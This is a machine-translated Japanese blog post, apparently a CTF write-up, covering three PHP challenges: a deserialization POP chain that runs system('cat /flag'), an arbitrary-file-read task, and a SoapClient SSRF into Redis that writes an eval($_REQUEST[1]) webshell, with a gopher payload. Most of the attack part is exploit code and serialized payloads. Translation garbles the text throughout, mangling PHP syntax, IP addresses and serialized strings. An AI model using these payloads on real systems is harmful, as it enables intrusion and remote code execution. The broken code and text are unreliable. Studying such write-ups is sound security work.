Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86380975

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

easypop

問題環境はPHP 7.4なので、すべての属性タイプをパブリックに直接変更できます

出発点は、Show Classの__toString()メソッドのこのヒントで呼び出されるRecho $によって呼び出され、$ this-ctf-show()を実行してsecret_codeクラスの__call()にジャンプし、ショー()メソッドにアクセスして、ショー()にジャンプします。 $ name()を介したファインクラスの__invoke()

ポップチェーンは次のように構築されています

?php

クラスはうまくいきます

{

public $ cmd;

public $ content;

}

クラスショー

{

public $ ctf;

public $ time;

}

クラスごめんなさい

{

public $ name;

public $ password;

public $ hint;

public $ key;

}

クラスSecret_Code

{

public $ code;

}

$ e=new Fine();

$ e-cmd='system';

$ e-content='cat /flag';

$ d=new Sorry();

$ d-key=$ e;

$ c=new Secret_code();

$ c-code=$ d;

$ b=new Show();

$ b-ctf=$ c;

$ a=new Sorry();

$ a-name='123';

$ a-password='123';

$ a-hint=$ b;

echo serialize($ a);

最後に数を変更し、__wakeupをバイパスします

http://F9EAC3ED-9425-4FE7-A009-AAD41F9DB212.NODE4.BUUOJ.CN3:81/?POP=O:5:'SORRY':43: {S:4:'Name :'123 '; s:8:'password'; s:'hint '; o:4:'show'33602: {s:33:'ctf'; o:110'sc ret_code':1: {s:4:'code '; o:5:'sorry':4: {s:4:'name'; n; n; n; n; n; n; n; n; n; n; n; n; n; n; hint '; n; s:3360'key'; o:4:'fine': {s: 'cmd'; s:63360'system '; s:73360'content'; s:933:'cat /flag ';}}} s:43360'time'; n;} s3360:'key '; n;}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231752647.png

hade_waibo

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231753442.png

CanCanは任意のファイルを読む必要があります

http://745B93EE-B378-4803-B84E-52F9E7B78D2A.NODE4.BUUOJ.CN:81/file.php?m=showfileName=file.php

file.php

..

?php

error_reporting(0);

session_start();

「class.php」を含める;

if($ _ session ['islogin']!==true){

die( 'scriptalert(' login for for for for for for for als '); location.href=' index.php '/script');

}

$ form='

form action='file.php?m=upload' method='post' enctype='multipart/form-data'

入力型='ファイル' name='file'

ボタンclass='mini ui button' font style='vertical-align: enternit;' font style='vertical-align: enternit;'

提出する

/font/font/button

/形状';

$ file=new file();

switch($ _get ['m']){

ケース「アップロード」:

if(empty($ _ files)){die($ form);}

$ type=end(Explode( '。'、$ _files ['file'] ['name']));

if($ file-check($ type)){

die($ file-upload($ type));

}それ以外{

die( 'オイルケーキを食べますか');

}

壊す;

ケース 'show ':

die($ file-show($ _ get ['filename']));

壊す;

ケース 'RM':

$ file-rmfile();

die( 'すべて削除されてピンチ');

壊す;

ケース 'logout':

session_destroy();

die( 'scriptalert(' logined out '); location.href=' index.php '/script');

壊す;

default:

エコー 'h2halo! '。$ _セッション[' username ']。'/h2 ';

壊す;

}

..

class.php

「?php

クラスユーザー

{

public $ username;

パブリック関数__construct($ username){

$ this-username=$ username;

$ _SESSION ['ISLOGIN']=true;

$ _Session ['username']=$ username;

}

public function __wakeup(){

$ cklen=strlen($ _ session ['username']);

if($ cklen!=0および$ cklen=6){

$ this-username=$ _session ['username'];

}

}

パブリック関数__destruct(){

if($ this-username==''){

session_destroy();

}

}

}

クラスファイル

{

#ブラックリストをホワイトリストにアップデートして、より安全にします

public $ white=array( 'jpg'、 'png');

パブリック機能ショー($ filename){

echo 'div class=' ui action input'input type='text' id='filename' placeholder='button class=' ui button 'onclick=' window.location.href=\ 'file.php?m=showfilename=\'+document.getelementbyid(\ 'filename \')

if(empty($ filename)){die();}

return 'img src=' data:image /png; base64、 '。base64_encode(file_get_contents($ filename))。' ' /';

}

パブリック関数アップロード($タイプ){

$ filename='dasctf'.md5(time()。$ _ files [' file '] [' name '])。'。$ type ';

move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'。$ filename);

'return'アップロードの成功! path: upload/'。 $ filename;

}

パブリック関数rmfile(){

system( 'rm -rf/var/www/html/upload/*');

}

パブリック関数チェック($タイプ){

if(!in_array($ type、$ this-white)){

falseを返します。

}

trueを返します。

}

}

#悪意のある興味深いテストクラスを使用しました

クラステスト

{

public $ value;

パブリック関数__destruct(){

chdir( './upload');

$ this-backdoor();

}

public function __wakeup(){

$ this-value='do n't make dream.wake up plz!';

}

パブリック関数__toString(){

$ file=substr($ _ get ['file']、0,3);

file_put_contents($ file、 'hack by $ file!');

届かないことを返してください!) ';

}

public function backdoor(){

if(preg_match( '/[a-za-z0-9?$@]+/'、$ this-value)){

$ this-value='nono〜';

}

System($ this-value);

}

}

テストのクラスを使用できます。私が最初に考えるのは、ファーゼリア化です

.executedコマンドを使用して、通常をバイパスできます

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231758660.png

アイデアは、ファーファイルを最初にアップロードしてから、実行するコマンドを含むJPGをアップロードすることです

JPGの名前はPhARの前にある必要があることに注意してください。たとえば、PhARの名前はdasctfe4.jpgであり、コマンドを含むJPGの名前はdasctfc2.jpgまたはdasctf01.jpgでなければなりません(ASCIIコードは小さくなります)

しかし、試してみると、ウェイクアップをバイパスすることは良くないように見えることがわかりました.

それから、EasyLoveの質問をしていたとき、ルートディレクトリにstart.sh展開スクリプトがあったことを思い出しました。質問の説明に基づいて、 /ディレクトリの下のファイルのtips:flagなので、start.shを直接読んでください。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231801987.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231803463.png

flagを取得するために /ghjsdk_f149_h3re_asdasfcを読み取ります

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804991.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231804073.png

easylove

タイトルに記載されているRedisによると、SSRF + Redisを介して逃げることであると推測されます

$ this-love=new $ this-wllm($ this-arsenetang、$ this-l61q4cheng);この文は明らかに、特定のクラスを通じてSSRFを実行することです。

私たちが知っているように、Redisプロトコルは非常にゆるく、HTTPの使用をサポートしてパケットを送信しますが、PHPのネイティブのSoapClientクラスはHTTPを送信できます

次のようにペイロード

?php

クラスSWPU {

public $ wllm;

public $ arseneng;

public $ l61q4cheng;

公開$愛。

}

$ a=new Swpu();

$ a-wllm='soapclient';

$ a-areNetang=null;

$ target='http://127.0.0.133606379/';

$ poc='flushall \ r \ nconfig set dir/var/www/html/\ r \ nconfig set dbfilename shell.php \ r \ nset xzxzxz'?=eval(\ $ _ request [1])? '\ r \ nsave';

$ a-l61q4cheng=array( 'location'=$ターゲット、 'uri'='hello \ r \ n'。$ poc。 '\ r \ nhello');

echo urlencode(serialize($ a));

トライアル中に立ち往生してください(通常の現象)、shell.phpに訪問することも404を示しています

だから、Redisには認証があるかもしれないと思いました。質問のヒントクラスを読み、file_get_contents()を介してhint.phpのコンテンツを取得しました。

エコーなしでヒントを直接ゆるくします。その結果、file_get_contents()+ gopherを試してみたいとき、偶然hint.phpを読みました。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231829355.png

?php

クラスヒント{

public $ hint;

}

$ a=new Hint();

$ a-hint='Gopher: //127.0.0.133606379/_%2A1%0D%0A%248%0D%0AFLUSULL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241% 0A1%0D%0A%2422%0D%0A%0A%0A%3C%3FPHP%20PHPINFO%28%29%3B%3F%3E%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D% 0A%243%0D%0ASET%0D%0A%243%0D%0ADIR%0D%0A%2413%0D%0A/VAR/WWW/HTML%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%2 43%0D%0ASET%0D%0A%2410%0D%0ADBFILENAME%0D%0A%249%0D%0ASHELL.PHP%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A%0A ';

echo serialize($ a);

http://0021BFDB-5D2B-42FF-9505-49D23C4AA0E2.NODE4.BUUOJ.CN:81/?HEL LO=O:4:'hint':1: {s33604:'hint '; s:404:'go PHER: //127.0.0.133606379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3 %0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2422%0A%0A%0A%3C%3FPHP% 20phpinfo%28%29%3b%3f%3e%0a%0a%0d%0a%2a4%0d%0a%246%0d%0aconfig%0d%0a %243%0D%0ASET%0D%0A%243%0D%0ADIR%0D%0A%2413%0D%0A/VAR/WWW/HTML%0D%0A% 2A4%0D%0A%246%0D%0ACONFIG%0A%0A%243%0D%0ASET%0D%0A%2410%0D%0ADBFILENAME%0D%0A%249%

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210231830188.png

20220311はRedisのパスワードです

したがって、最終的なペイロードは次のとおりです

?php

クラスSWPU {

public $ wllm;

public $ arseneng;

public $ l61q4cheng;

公開$愛。

}

$ a=new Swpu();

$ a-wllm='soapclient';

$ a-areNetang=null;

$ target='http://127.0.0.133606379/';

$ poc='auth 20220311 \ r \ nflushall \ r \ nconfig set dir/var/www/html/\ r \ nconfig set dbfilename shell.php \ r \ nset